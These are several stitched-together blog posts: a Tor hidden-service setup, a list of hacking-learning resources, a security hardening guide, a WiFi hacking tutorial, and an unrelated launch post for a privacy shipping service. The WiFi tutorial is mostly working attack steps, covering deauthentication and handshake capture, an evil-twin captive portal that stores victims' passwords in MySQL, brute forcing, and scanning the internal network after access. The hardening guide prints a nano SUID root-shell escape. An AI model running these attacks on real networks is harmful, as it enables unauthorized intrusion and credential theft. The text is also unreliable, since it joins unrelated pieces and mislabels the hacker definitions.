steps: for this, you need to have a raspberry pi 4 8Gb ram depending on the website you want using the Raspbian media creation tool create a Raspbian os 64/32 bit now login to your raspbian and install tor (sudo apt install tor) after updating your OS Config tor: open tor config file (sudo nano /etc/tor/torrc) uncomment #HiddenServiceDir /var/lib/tor/hidden_service/ uncomment #HiddenServicePort 80 127.0.0.1:80 save the file now stop the service (sudo service tor stop) now restart the service (sudo service tor start) now check the status (sudo service tor status) if the status is active then you are good to go Website name and URL: now check your web onion URL (sudo cat  /var/lib/tor/hidden_service/hostname) the output is your website address Install nginx web service: now set up your website install nginx (sudo apt install nginx) now start nginx service (sudo service nginx start ) check the status (sudo service nginx status ) if it is active you are good to go at this point, you can check out our website you need to paste the .onion link you copied from the hidden services Customize the nginx config file: now let's configure nginx (sudo nano /etc/nginx/nginx.conf) uncomment server_tokens off ; under the server, tokens add (port_in_redirect off ;) uncomment server_name_in_redirect off ; save and exit from the config file now restart nginx (sudo service nginx restart) Customize the website: to customize the website (cd /var/www/Html/) now in this folder delete the already existing .html file then add your website files to this folder now you have a website on the dark web Website setting up codes and steps are from network chuck Disclaimer See if you want a dark web website you need to have a strong reason for it and the dark web is a place where you have no restrictions from any authority but you need to have a proper purpose for using such a service and I am not responsible for any illegal use of the above information. Suggestions If you want to suggest anything new and interesting and which topic you want to know more about let it be any topic dm me on instagram or twitter i will think about it and if it is possible i will write a article on that topic. Source Wikipedia ( copied the history ) network chuck ( setting up the website ) Follow me Follow my Twitter account for the latest updates Twitter:@morpheuslord2 Instagram :morpheuslord_9034 email me: morpheuslord@protonmail.com

Facts You Probably Didn't Know About The Dark Web

In this article, I will list the best resources all over the internet which will help you to be a hacker. I would be answering the following questions: What is hacking? Why learn to hack? Where can you learn to hack? What we’ll Cover Introduction to hacking. Why learn to hack. Video sources. Web-articles. Books. Paid and free courses. Introduction to Hacking. Hacking in its simplest explanation is breaking into a system that has a certain degree  of security. Hacking is a skill set and requires a lot of practice to become good at. There are 3 types of hackers, they are: Black Hat. White Hat. Grey Hat. This category of hackers do hacking for malicious purposes. Black hat hackers: This category of hackers do hacking for the benefit of others. They hack to secure the vulnerability that can lead to harm. White hat hackers: This category of hackers acts as both white Hat and black hat hackers. This makes them be on both the good and bad side, depending on the situation 😀 . Grey Hat Hackers: Hacking is a vast subject. It has a lot of sub-categories which includes: Web application. Forensic. Networking. Cloud. Systems both mobile and desktop devices. Hardware. These are some of the various things you can learn and each has sub-topics that are interesting. The main goal of a white-hat hacker is to find a potential vulnerability, exploit it, gain access, create a detailed document and report it to the authorities. Hackers or pentesters are paid on the scale of priority of the vulnerability reported. This is decided based on a priority table that is made by the board showing which part of their infrastructure is most important and needs special attention. If you are successful in finding a vulnerability in that specific section you can expect a high reward. If you are not into full-time pentesting and want to do part-time then Bug-bounty hunting is the go-to thing for you. Bug-bounty hunting is a program hosted by company websites with specified rules and regulations. They usually specify things they won't consider a bug and other than those things, any other possible bug you find will get you some reward from the website. A Bug in this sense is a vulnerability that can be exploited to gain information or unauthorized access into the server. Bug bounty hunters usually have extensive knowledge of different types of bugs. Some of the  common types of bugs include XSS, HTML-INJECTION, CSRF, etc. Having knowledge and being able to detect these vulnerabilities as a bug-bounty hunter can get you a decent amount of pay from the bounty. Other than being a bug-bounty hunter, you can also be a freelance pentester, where the work will be more but the payout is more than that of a bug bounty. Why Learn to Hack? In my previous explanation, I have introduced you to various types of hackers and what they do for a living. Having knowledge of hacking and how it works, you can be able to protect yourself and others, and also educate them with your experience. You can also make a living via hacking by being a bug-bounty hunter or a freelance pentester. You could also get a job after gaining a few certifications. This leads us to our next question if you ask me there is no way you can excel in any field without knowing the basics relating to the field you are going to choose. where to start? All the things such as basic networking, web application, and programming can be learned from web sources such as Youtube or Udemy but if you want professional teaching then you can opt for training from official sources such as Offensive security, INE, EC-Council, etc. Fundamentals are easy to understand anyone can achieve learning the fundamentals, but the main goal is to learn the advanced things, for example, if you understand how the server works with the client-side request, you can learn how to manipulate and possibly exploit the server. You need not worry, anyone can achieve this. Some people are afraid to learn things from a new field while studying in a different field, for example, a commerce student fears that studying this topic will be of no use for him in the future even though it has potential. I am a commerce student and I started to learn hacking while I was in 12th grade. I felt the topics were interesting and changed my goal from pursuing a commerce-based job and instead started learning to hack. I hope to become a professional pentester and in the future even start a security-related firm. Similarly, anyone from any field can learn to hack and become a hacker but it requires dedication and a lot of practice to learn and perfect your skills. Cybersecurity is a fast-growing field for job opportunities and even new freshers can also get a high salary job with work experience if you have prior experience and certifications then you can expect a good salary and high growth in your job profile. Professional aspect: Video Sources There are a lot of online video sources such as Youtube and Udemy. On social media platforms, you can follow some professionals who have great links and useful resources to learn from. Social media . David bombal . Cryptothelamma nt. Eleme Hackersking. in . Cybertechsociety . Mattupham These are some of the best social media influencers who share information of value and can help you in your works. On Youtube, you can refer to the following Youtube channels: . NullByte . Zsecurity . David Bombal . Loi Liang Yang . Hackersploit . NetworkChuck I would recommend you follow David Bombals's Youtube video as he gives a lot of giveaways. I love his works, his explanations are also really easy to understand and beginner-friendly. Web-articles. Web articles are write-ups that enable people with knowledge to share their thoughts and points related to a certain topic or a certain event that matters in the cybersecurity world. There are several websites where one can find web articles. But I am going to mention a few of them that I find to be quite informative. : Website links (security section) Hackernoon.com Latesthackingnews.com Thehackernews.com Hackingarticles. in These are some of the useful websites you can use to learn more about the latest events and more related to security-related content. Books. Cybersecurity-related books are all over the internet but some of them stand out. I am going to list 11 of the best ones to start your security journey. Book links: Hacking: The Art of Exploitation. The Basics of Hacking and Penetration Testing. The Hacker Playbook. Penetration Testing. The Web Application Hacker’s Handbook. Hacking: Computer Hacking, Security Testing is a book written by Gary Hall. Computer Hacking Beginners. Hackers & Painters. Advanced Penetration Testing. The Hardware Hacker is a book written by Andre Huang. BackTrack 5 Wireless Penetration Testing Beginner’s Guide. These are some of the most useful books out there for beginners and intermediate-level hackers. Paid and free courses. Udemy courses: Complete cyber-sec course by Nathan House. Complete Web hacking by Loi Liang Yang. Complete Mobile hacking course by Loi Liang Yang. CompTIA Network+ with expertise from David bombal. Weblinks to gain infinite knowledge in any field for free: HacksPlanning.com Edx.org Hackerstop.org Digitaldefynd.com guru99.com Securitytube.net Simplylearn.com Sources The main source for this article is my personal experience but the bonus link is something I felt can be of some use. I am including that link as it will be useful and can help many others in their journey to become ethical hackers. Bonus. This one is a bonus it is a complete compiled version of all the most popular and underrated resources all over the internet made available in one link. I appreciate the effort made by to make such a great resource, the above links and resources are which I used to learn to hack and the basics but this link has all the resources A-Z everything. Vitalysim Link: Awesome-Hacking-Resource. Contact me. INSTAGRAM TWITTER EMAIL: morpheuslord@protonmail.com

Top Resources to Learn Ethical Hacking

Security is important! For the average human, your daily internet habits might not matter. But for hackers, well,  your data is money. Data big or small is valuable. In this blog, I’m going to discuss how we can secure our web accounts, web servers, mobiles, Windows systems & Linux systems. Blog Agenda: Web accounts. Web servers. Windows systems. Linux systems. Key points. Web Accounts: Web accounts are really easy to hack. All that the process really needs is patience. General Advice: Keeping a strong password with a minimum of 12 characters, containing numbers, small letters, capital letters, symbols, spaces, etc. Enabling 2-factor authentication using your phone number, email, or a third-party application. You can also follow these special steps to be aware of database leaks or breaches: Check password leak websites regularly for your email or username. If you find your information on these sites, then you can immediately change your credentials and also verify how much the hacker knows about you. Use tools such as Dashlane which provides password protection and dark web breach intel to you whenever it detects such an incident. Tips and Tricks: There are certain tricks you may want to follow in case you don’t want your account to be hijacked by some random hacker with the right password. You can secure your accounts by using the regular password combinations everyone follows which are symbols & numbers. But that’s a minimal level. You can do more to outsmart hackers by using s. With each increase in characters, it may take 1 million years to crack your password. ALT symbol I will be dead by that time, don’t know about the hacker. The hacker or anyone, in that case, cannot access your accounts without the right password. Sure, there are other ways such as phishing, keylogging, etc. we will look into those in a while. These are the ALT symbols and their ALT keys: ™	Alt+0153	Trademark
©	Alt+0169	Copyright
®	Alt+0174	Registered
‰	Alt+0137	Per mille (per thousand)
±	Alt+241	    Plus or Minus
¼	Alt+0188	Quarter
½	Alt+0189	Half
¾	Alt+0190	Three quarters
≡	Alt+240	    Exactly Identical
≈	Alt+247	    Approximately equal
≥	Alt+242	    Greater than or equal
≤	Alt+243	    Less than or equal
√	Alt+251	    Square Root
ⁿ	Alt+252	    Power n
¹	Alt+0185	To the power of 1
²	Alt+0178	Squared
³	Alt+0179	Cubed
π	Alt+227	    Pi
°	Alt+248	    Degree
∞	Alt+2368	Infinity
µ	Alt+230	    Micro
Σ	Alt+228	    Sum
☺	Alt+1	    White Smiley
☻	Alt+2	    Black Smiley
•	Alt+7	    Bullet 1
○	Alt+9	    Bullet 2
♂	Alt+11	    Male Sign
♀	Alt+12	    Female Sign
↨	Alt+23	    Up/Down Arrow
↑	Alt+24	    Up Arrow
↓	Alt+25	    Down Arrow
→	Alt+26	    Right Arrow
←	Alt+27	    Left Arrow
↔	Alt+29	    Right/Left Arrow
£	Alt+156	    Pound
€	Alt+0128	Euro
$	Alt+36	    Dollar Sign
¢	Alt+155	    Cent
¥	Alt+157	    Yen
ƒ	Alt+159	    Frank
₧	Alt+158	    Peseta
α	Alt+224	    Alpha
ß	Alt+225	    Beta
δ	Alt+235	    Delta
Ω	Alt+234	    Omega
►	Alt+16	    Point Right
◄	Alt+17	    Point Left
■	Alt+254	    Stop
▲	Alt+30	    Point Up
▼	Alt+31	    Point Down
§	Alt+21	    Section
¶	Alt+20	    Paragraph
“	Alt+0147	curly double open quote
”	Alt+0148	curly double close quote
«	Alt+174	    Quotation Mark
»	Alt+175	    Quotation Mark
♥	Alt+3	    Heart
º	Alt+0176	Degree symbol
œ	Alt+0156	Latin small ligature oe
•	Alt+0149	Bullet
↻	Alt+8635	Clockwise Open Circle Arrow
↺	Alt+8634	Counterclockwise Open Circle Arrow
Ø	Alt+0216	Diameter
Ñ	Alt+0209	Enye This ALT code list was compiled by postpresentation.com You can also choose 2-factor or multi-factor protection which also reduces the risk exponentially. Ultimately, those are all the processes one needs to practice in order to protect your social media accounts or any accounts in general. Web-Servers Web servers are machines accessible by anyone with the correct IP. Why do Web Servers Need Protection? Because they collect user data. This includes data not just from the admin but everyone else who is using the platform. This can be achieved by implementing firewalls, port number changes, and having regular software updates. Here is what is needed to be secured in a server: Server firewall. Database. Scan source codes to a certain level for vulnerabilities. Launch Bug bounty programs. Server firewall: The first thing to do in firewall protection is to change all of the default passwords and default users with a safe and secure password. Secondly, we need to limit the access of the firewall to as few people as possible. Ether by using blocks to other admins or even eliminate other admins’ permissions on the config files. Thirdly, disable simple network management protocol (SNMP) or configure it to use a secure community string. After the above is done we need to architect zones that we need to forbid or allow access to anyone other than the admin. The best thing to do is other than the default HTTPS service which runs on PORT:443 we need to block all unnecessary ports and change the port numbers of all the other necessary services for example: change SSH port default: 22 to port:1000 or anything else and set up a forward of all the specific traffic from the service which is SSH from port 1000 to port 22 using the firewall. This reduces the chance of any possible port scanners taking a delay in searching the specific port in the web IP. After the above is completed we need to concentrate on the ACL or access control list that contains all the rules required to provide access to a specific service in the server. To put this into context the normal person in max may have access to the web page and the admin will have access to the ssh connection (if the admin is in the same network or via an authentication portal) other than this, no one can access the various services provided by the website. ACL has a list of rules to also manage port monitoring and logging of firewall activity. After the ACL has done its job it’s recommended that an expert checks the work. If this is an industrial environment, there are network professionals who will look into the various firewall rules. They tend to modify them if they are of any threat. Database: Database security is a key element in data stability and safety. If there is a data breach the hackers can get their hands on juicy information, for example: Credit card information, phone numbers, names, address, IP, etc. This may not look like much but in the wrong hands, this information can also be used in fraud. we will look into the basic stuff things such as audits and updates which should be done regularly. Firstly, , we will look into encryption. Secondly A company should hire a cryptographer or an expert in that manner to create a unique rainbow table that can be used to store data in a much safer way. In case you are using a database such as MySQL then it comes with its encryption but it is good that you add a layer of protection upon it. backups are really important if by any means your data is blocked by malware or it is lost due to an error then backups are really handy now. Thirdly, use a separate server from the main server to store the database that has its firewall and secure environment that only the system administrator and a certain application combined can access to better ensure the protection of the database from potential malware and ransomware. Fourthly, Scan source codes to a certain level for vulnerabilities. If you are a developer then you will be familiar with Github. You can upload the source code of your application not entirely but as snippets and scan them using SYNK. Synk uses a scanner to scan the code to locate potential endpoints or libraries that can be vulnerable and gives the option to manually patch or automatically patch the code. This is particularly useful to check for developer errors before publishing. You can hire a Professional analyzer also who is internal to the organization and also conduct the code review. Launch Bug Bounty Programs Sometimes you will need external views or creative views to get to the issue. These individual hackers all over the world participate and try to hack the vulnerability which might be fatal to the company depending on the risk factor and priority of the company. If they find a potential vulnerability or a bug they are rewarded on the basis of the intensity of the bug. Where does it stand in the priority and what is it affecting? These factors play a vital role in the end payout. This is a win-win situation for both the company and the hacker. Both have profited via this program. These are the ways you can protect a web server on the backend. There are also many things to be done on the front end. I have explained various exploits done on the front end you can check out my article on that topic on that ‘self-publicity‘ . link to the article Windows Systems Windows is a commercially highly used Operating System that in all cases is important to protect. Being a Proprietary Software it does not have any kind of open-source community such as Linux to patch potential bugs for them instead they hire white hat hackers for the work. Things to be careful of in windows: Virus & Anti Virus. Phishing. unwanted services. Be far away from pirated software. Virus & Anti Virus Virus, malware, or ransomware are really common for windows systems. The best practice is to keep updating Windows Defender, and never turn off the real-time protection of the system. The virus protection from Windows or Windows Defender has an adequate amount of security to protect you from unsafe downloads. Phishing Phishing or Social Engineering is a powerful technique. It is a tool used for convincing the target to do what you intend by manipulating his thoughts. It is tough but effective. Usually, hackers pose as legit people with the same interest as you and convince you to click on links, or tell you to download certain malware on the system to gain system access to your files. Or else use the biggest weakness of a person -- his curiosity --to make him install software or connect a USB stick to his system to gain unauthorized access. Unwanted Services Services that are not in much use and are simply running in the background of the system can also lead to a lot of problems if maybe they are vulnerable and a hacker can hack them. You can use the task manager to go to their services section and disable such services from running in the background and problems solved. Beware of Pirate Software Stay away from pirated software. Remember Piracy can sometimes lead to Bankruptcy. Follow the above things and you are safe to go and use windows. Linux Systems Linux systems are open source and are constantly checked by millions of users for vulnerabilities. They are constantly patched, making it less easy to hack. Even though it is hackable. Reduce SUID File Privileges SUID privileges are Superuser privileges in Linux and using these the hacker can gain root access into the server. This is not good news for the server because by reducing the number of SUID files and keeping the rest in isolation we can reduce the chance of privilege escalation. A huge database of SUID and privilege escalation enumeration tool is Linpeas and winpeas used in Linux and windows respectively. Links to Github are used to enumerate the entire system to find SUID files and password files left by the dev team for later use. It can be used also for priv-esc. You can refer GTFOBins link to check for all the codes for priv-esc. For example, nano has SUID permissions. nano
^R^X
reset; sh 1>&0 2>&0 I can enter this and get a Root shell using nano. code copied directly from GTFOBins website Key Notes If you follow the above things there is a good chance that you might not get hacked. But it really depends on your self-safety and interest to protect your privacy. I have explained all I know on how I can help you be safe from Black hat hackers out there in the cyber world. The goal is not to scare my readers but to warn you all that if your data falls into the wrong hands you can end up in a bad situation. For example, your photos can be DeepFaked, your phone number used to mask another crime, and many more things. So be careful and be safe. If you want to know what all crazy stuff happens over on the dark web check out my other article completely covering the dark web and how to start a website in the dark web ‘self-publicity . l ink to the article Sources . GTFOBins weblink . Pro presentation website for ALT codes Contact me. INSTAGRAM TWITTER EMAIL: morpheuslord@protonmail.com

How to Protect Your Privacy From Hackers

In this article, we will discuss the best ways to hack a WiFi network and what we can do to avoid falling prey to WiFi hacks. Topics to discuss. Hardware tools required. Software required. How to hack wifi. a. using a 4-way handshake. b. using evil twin attack. c. using direct bruteforce. d. using a 2-way handshake. What to do after hacking wifi? How to prevent such attacks? problems and issues faced in such attacks. . Hardware tools required The main hardware requirement is a WiFi adapter that can support monitor mode. The preferred one is an Alfa adapter because it is easy to use in Kali Linux. Another tool you can use is a raspberry pi for password cracking or you can use a separate computer for the same use. . Software requirements There is a wide range of software that can work for hacking WiFi. I will list a few: Wifite Aircrack-ng Kismet Reaver batch_wifi_brute_forcer(windows) These are the mainly used tools in WiFi hacking. The first 4 are popular but the last one batch_wifi_brute_forcer is a tool developed by TUX which uses windows utility which is netsh which is used for wifi connection in windows. I will discuss the working of this tool in detail later in the article. The rest of the tools work on capturing the hash pcap and cap file and the crack them using hashcat, aircrack-ng, and some other tools. . Using the 4-way handshake method :- Overview The 4-way handshake is capturing the WPA or WPA2 hash by intercepting the traffic of the access point and a machine connected with the target access point. We can achieve this by simultaneously DOS attacking the connected machine for the authentication to happen and the hash to be exchanged by each other in this case the access point and the connected machine. In this kind of attack, we use the tools which come with the aircrack-ng suite on the software side, and on the hardware side, we need a wifi adapter that supports monitor mode. Actual attack:- At the start of the attack, we need to first put the adapter on monitor mode using the module. airmon-ng $ sudo airmon-ng The above command will list all the wifi adapters. $ sudo airmon-ng start wlan0 This command will put your module to monitor mode but it is important to remember what name has your adapter is assigned as a name it can differ (just check once). The next step is to discover the target SSID I am using an online picture as I cant use mine for obvious reasons hope you understand. We are using the airodump-ng module to search for the targets. $ sudo airodump-ng wlan0mon The above command will show the signals from all the nearby access points. Now, after deciding the target, you need to start discovering the connected devices to the access point. Now you need to concentrate on some data from the above image first the BSSID of the access point the ESSID of the access point the ENC or encryption and the channel which is CH These are the necessary information for the next process. $ sudo aireplay-ng --fakeauth 0 -e "your network ESSID" -a 00:01:02:03:04:05 -o test.cap wlan0mon In the above attack, we are using the module. Using the we can specify the channel on which the target is working. We can use thee to specify the ESSID of the access point We can specify the BSSID of the target and using the we can specify the attack vector which is a module and at last we specify the wifi adapter which is on monitor mode and using the we can specify the output file which here I have specified for easy access. aireplay -c, -a. -fakeauth fake auth -o test. cap Now cracking the collected packet which is easy in this case. $ sudo aircrack-ng test.cap -w passwords.txt In the above command, you will provide the capture files, and using the we will provide the password file and if you are lucky the password will be there in your password file and you will get it by cracking it. -w Or if you are not interested in DE authenticating the target you can use this attack. $ sudo aireplay-ng --deauth 5 -a 00:01:02:03:04:05 -c 00:04:05:06:07:08 -o test.cap wlan0mon And then crack the capture file. :- Conclusion We can conclude this attack by telling or more precisely warning you that capturing the packet is the easy part and cracking the hash will make you depressed and I am serious. Keeping that aside this is an effective method to hack wifi. Using evil twin attack. :- Overview An evil twin attack is an attack in which the hacker pretends to be the actual access point and trick the user to connect and give out the password to the actual access point it overhears the password in between the conversation. The major advantage of this attack is you need not use password cracking as you will get the plain text password instead of a hash. Actual attack:- For this attack, we are going to do it manually using a monitor mode adapter. First, install the necessary packages:- $ sudo apt install hostapd dnsmasq apache2 Second, put the adapter on monitor mode:- $ sudo airmon-ng start wlan0 Third, make a directory on the home of your desktop:- $ sudo mkdir ~/fap && cd ~/fap Forth configure the hostapd.conf file:- $ sudo nano hostapd.conf 
-----------------<nano>-----------------
interface=[INTERFACE NAME]
driver=nl80211
ssid=[WiFi NAME]
hw_mode=g
channel=8
macaddr_acl=0
ignore_broadcast_ssid=0
---------------------------------------- Now in the above config file, we have to specify the monitor mode interface in the interface section and specify the target SSID in the SSID section after changing just do type and accordingly to save the file. ctrl+x y enter Fifth configure dnsmasq.conf file:- $ sudo nano dnsmasq.conf
-----------------<nano>-----------------
interface=[INTERFACE NAME]
dhcp-range=192.168.1.2, 192.168.1.30, 255.255.255.0, 12h
dhcp-option=3, 192.168.1.1
dhcp-option=6, 192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
---------------------------------------- And in this, you need to just specify the monitor mode adapters name that’s it. Sixth create the routing table and gateways:- $ sudo ifconfig wlan0mon up 192.168.1.1 netmask 255.255.255.0
$ sudo route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1 Seventh create a network DHCP and provide internet access to the iptables:- $ sudo iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
$ sudo iptables --append FORWARD --in-interface wlan0mon -j ACCEPT
$ sudo echo 1 > /proc/sys/net/ipv4/ip_forward Start the SQL database to store the password and user, etc for later use. $ service mysql start
$ mysql
[Database]> create database fap;
[Database]> create user fapuser;
[Database]> grant all on rogueap.* to 'fapuser'@'localhost' identified by 'fappassword';
[Database]> use fap;
[Database]> create table wpa_keys(password1 varchar(40), password2 varchar(40));
[Database]> ALTER DATABASE fap CHARACTER SET 'utf8';
[Database]> select * from wpa_keys; Captive portal to trick the wifi user:- Download the web framework website whichever you want but it should look legit. Now to create folder in the /var/www/html/ :- $ sudo rm -rf /var/www/html/*
$ mv ~/Downloads/fap.zip /var/www/html
$ cd /var/www/html
$ unzip fap.zip 
$ service apache2 start Now to start the attack we need do back to the fap folder in the start which is in the home directory. $ cd ~/fap
$ hostapd hostapd.conf
$ dnsmasq -C dnsmasq.conf -d
$ cd /var/www/html/
$ dnsspoof -i wlan0mon Now you just need to DOS the actual access point by using your favorite tool and wait for the user to connect to you. . commands copied directly from zsecurity resources :- Conclusion Now after he connects to you he will be prompted for a login where he has to enter the wifi password where if it is a stupid wifi user he will without hesitation and the password will be stored in your MySQL database. This is a really powerful attack and makes hacking wifi easy. Direct Bruteforce. Overview:- Direct Bruteforce is a method is a technique that I love mainly because I have worked on the tool and secondly it is easy to use. It is Windows only for now and it uses the netsh command-line utility for hacking the wifi network it scans the nearby networks and using the SSID of the target it uses a connect YAML file which is temporarily made to do the auth of the connection and if it is correct it will connect to the network. Actual attack:- I will be using the batch_wifi_brute_forcer tool which I use personally and works best and it is very straightforward. The command is simple just enter wifiscan to scan the networks select a network from the shown list and after that type of attack. [wifi]> wifiscan
[wifi]>( select network )
[wifi]> attack Done that’s it to add more passwords to the password list you can add a password file in the BF_Files folder but make sure to rename it passfile.txt as it is the default. :- Conclusion This is slow and buggy but it is accurate and effective in all the ways possible. For comparison, this is just like a slow Loris DDOS attack but for wifi. If you want to download the tool from . batch_wifi_brute_forcer Using a 2-way handshake. Overview:- This is similar to the Evil-Twin attack but this is a different kind of attack which has password cracking also in this attack. In this attack, you are tricking the user to connect to your network and during the 4-way handshake process we will just capture the hash he provides to connect to your network and in this attack, we will be using aircrack-ng and Wireshark we will use aircrack-ng to deauth the user and use Wireshark to filter and capture the packets we want. Actual attack:- In this attack, we will first focus on setting up a hotspot on your mobile phone with the same SSID of the network you want to hack and then using Wireshark and aircrack-ng we will filter the packets and crack them. First:- Put your wifi adapter on monitor mode. $ sudo airmon-ng start wlan0mon Second:- We need to discover your mobile hotspot. $ sudo airodump-ng wlan0mon
(this will show all the nearby networks and access points) Now in the received data, you have to copy the channel your hotspot is running on and you need to copy the BSSID and ESSID, then you can continue with the following steps. Third:- We need to start deauthing the actual network to disconnect the people from connecting to that instead connect to your fake hotspot and simultaneously starting your Wireshark listening on that channel. For this example, I am using channel 10 as an example. $ sudo airodump-ng wlan0mon -c 10 & wireshark This will start the Wireshark listening on channel 10. Now you need to search for the beacon frame which has the ESSID of your hotspot and now in that packet search for the transmitter address and then now enter this as your filter to filter out the incoming and outgoing packets from that beacon frame. wlan.ta == <transmission address> || wlan.da == <transmission address> After this, you can see all the incoming packets and outgoing packets from the beacon. Now once the victim tries to connect to the network you can capture it using Wireshark. Type the following command to filter out the password communication between the beacon and the victim. eapol || wlan.ta == <transmission address> || wlan.da == <transmission address> This will filter out the eapol or the correct hash of the original wifi network. Now you can just save the capture in a pcap format using the Export Specified Packets and export the packets from the filter. Now it is an easy thing to just crack the password using cracking software like aircrack-ng, rainbow crack, hashcat, omphcrack, etc. Conclusion:- This is an effective method as you need not do a lot of deauthing to get the password just use a simple trick to fool the users. What you can do after hacking wifi? Once you have gained access to the network you can access all the connected devices in the internal network this is easy as you just need nmap for scanning the entire network to list out the open ports in the machines connected to the network for example if there are 20 different system connected to a router which has a gateway 192.168.1.1 and you have the IP of 192.168.1.20 and by default, there can be a maximum of 200 devices connected to the router which is 192.168.1.200 so you can use this command to search and list out the machines. $ sudo nmap -sV 192.168.1.1-200 This will scan the internal network and show all the open ports of all the machines connected to the access point. After this, it is your turn to scan and find a vulnerable port or service and exploit it and get the most of the person’s machine. This can be easy even for a beginner to do as it is basic enumeration and exploitation. I will explain how we can do this with a simple example. You can follow along with your practice setup. Objective: search and select your target I will first find out my IP gateway and subnet. $ ifconfig you can find out your default gateway and how is the subnet is programmed for now I will assume it is and your IP is 192.168.1.1 192.168.1.20. Run this command to discover all the connected devices. $ sudo nmap 192.168.1.1/100 The above command will list all open network systems. Let’s consider that our target IP is Let’s enumerate that system. 192.168.1.10. $ nmap -sV -A -p- 192.168.1.10 The above command will show the basic info about the target system and like this, you can enumerate the system further. Accordingly, you can find the right way around and hack your target system in your practice configuration. Disclaimer/warnings: If you don’t want to see yourself in jail for 3-10 years without the option of bail and another 1 year of no electronics with internet so don’t do things that can cause you harm and others harm also learn hacking but ethically. For me, the second option no electronics with the internet scares me the most. How to prevent such attacks? To prevent such attacks the most basic thing you can do is to use a long and complex password if you have high priority works in your system it will not harm you by having a huge password as it will protect you from your boss’s anger to lose such classified data. On the network side, you can update or upgrade your firewall protection and reduce port forwarding to many ports reducing the chance of getting hacked internally. On the personal computer side, you can reduce the services or update the services to get the latest patched version of the service and servers. These are the most basic level of prevention you can follow but there are more advanced ones but I don’t want to eat your head by increasing the length of this article also. Problems faced during these attacks. The main issue is password cracking which a lengthy, painstaking, and kills us from inside cracking the password as we need to provide the password file which is probably 2-3 gigs in size and contains passwords of about 3 crore passwords in total and takes 2-3 days to complete totally and may not work also so yes it’s frustrating. The second issue is that it is long and if we miss even one step the entire attack won’t work or even start from the beginning. Or the worst thing is that the person who has a long and strong password makes it difficult for you to crack it. . Conclusion I conclude this article by telling you to need to learn hacking but ethically and make sure that you don’t hack some gov person go behind bars so beware. Suggestions. I am writing articles on various hacking topics but I don't know which one is the most required in the present trends in the security field so if you have any topics on which you want articles on the feel free to contact me on the below-given links. And I am planning to write a walk-through on try hack me rooms so if you have any suggestions contact me. Sources. ** **And that's it. Zsecurity Contact me. INSTAGRAM TWITTER EMAIL: morpheuslord@protonmail.com

How to Hack Wifi Like a Pro Hacker

Cómo hackear wifi como un hacker profesional

Privacy-preserving, convenient, cost-effective shipping for creators and internet entrepreneurs Data privacy has garnered more interest than ever in the public consciousness over the past few years, particularly in light of the increasing number of data breaches that seem to occur on a near-weekly basis. This is unsurprising, as more and more of the world’s economic activity shifts online;¹ as new tools like Zoom, Substack, and Shopify enables an acceleration towards the very digital “Future of Work;” and as entrenched advertising business models (see Google, Facebook) feed on all this increasing online activity. This wave of new awareness around data privacy issues is apparent in plenty of recent polls and surveys. Pew states that “a majority of Americans report being concerned about the way their data is being used by companies (79%) or the government (64%)…70% of Americans say their personal data is less secure than it was five years ago.”² Cisco, in its 2019 Consumer Privacy Survey, reports that 84% of respondents care about privacy, while 48% care enough about it that they have already acted on that sentiment by switching companies or providers based on their data policies or data sharing practices.³ More recently, DuckDuckGo — the company behind the eponymous privacy-preserving search engine — conducted their own survey: According to the company’s market research, just about every demographic wants more data privacy: young, old, male, female, urban, rural. Public polling backs that up, though the results vary based on how the question is asked. One recent survey found that “93 percent of Americans would switch to a company that prioritizes data privacy if given the option.” Another reported that 57 percent of Americans would give up personalization in exchange for privacy.⁴ Individuals are starting to care about privacy enough to change their habits. And companies are noticing. For example, earlier this year, after an update to WhatsApp’s terms of use, Facebook announced its decision to fully enforce WhatsApp’s data policies, which give Facebook access to certain user account data, such as user contacts’ phone numbers. This sparked a major backlash among WhatsApp users, prompting many to flock over to privacy-focused messaging apps such as Signal. In light of this, Facebook pushed back the deadline for this change and eventually partly capitulated, allowing users to keep using WhatsApp without accepting the new terms of service past the new deadline. An even more prominent and consequential example is Apple’s recent pivot to privacy. Beyond calling privacy a “fundamental human right” and draping its marketing rhetoric in privacy-themed language, Apple’s iOS 14.5 software update for iPhones and iPads comes with a new feature called App Tracking Transparency. This feature allows users to opt-out of being tracked by particular apps when they are using other apps on their phone. It could, for example, limit Facebook’s ability to track user behavior when they are not using the Facebook app. With new expectations around a more privacy-preserving online experience, several companies have risen to meet the challenge: DuckDuckGo for search and browsing, Protonmail for encrypted email, for virtual private credit cards, Signal for messaging. And yet, to date, there has not been any effective tool for privacy-preserving mail. Privacy.com Introducing Sora — Address-less Shipping Today, we are super excited to unveil , an address-less tool focused on privacy, which enables individuals and businesses to send and receive packages without revealing their addresses. Sora shipping Why is this important? We feel strongly that online data privacy is both a fundamental right as well as a practical necessity, particularly as more and more of the world’s economy shifts online. While there are compelling solutions for privacy in purely online settings, there is a missing piece of the puzzle at the intersection between online and offline worlds, i.e. . Sora is that missing piece, and we think it can unlock a ton of for individuals as well as businesses. shipping use cases For Individuals: : with the proliferation of tools like Shopify and Stripe, as well as marketplaces like Etsy and Poshmark, it’s easier than ever to start a business out of your garage. Use Sora to send packages to your customers, or buy goods on C2C marketplaces without revealing your address. C2C Commerce : whether you are an Instagram influencer, an OnlyFans creator, a critic, or reviewer of goods, use Sora to accept merchandise and fan gifts directly at your home. Say goodbye to PO boxes! Creators & Creatives : Spam boxes for email are a godsend, gobbling up all our unsolicited emails. In the real world, however, there’s no equivalent, and it’s not uncommon to watch our mailboxes fill up with spam. With Sora, you can avoid having your address information fall in the hands of advertisers and filter through spam digitally before it ever lands in your mailbox. Spam Filtering For Businesses: : storing customer Personal Identifiable Information (PII) is a liability, and customers’ address data is particularly sensitive. With the number of data breaches averaging nearly 3 per day in the US alone — amounting to more than 100M personal records exposed, the costs of managing customer data are increasing manifold.⁵ In fact, IBM estimates the global cost of the average breach at $4.24M, with that number rising to $8.64M in the US.⁶ Use Sora to ship to your customers while managing their data securely. Reducing liability : say you’re a small business that relies on the confidentiality of your clients, or perhaps you’re a lawyer handling sensitive or incendiary information, use Sora to ensure confidentiality is conserved, both for your clients and yourself! Maintaining confidentiality Sora’s Private Beta Today we are officially launching our private Beta. To sign up, simply go to our website and click Sign Up in the top right. We are keeping our Beta capped at a limited number for now but hope to expand the list over the next few weeks as we continue to sort out bugs and kinks. In this first version of Sora, you’ll be able to: Receive packages from individuals and businesses without giving out your physical address Deny any packages you don’t want from within the app — no more real junk mail! Send packages to anyone in the US with just their email 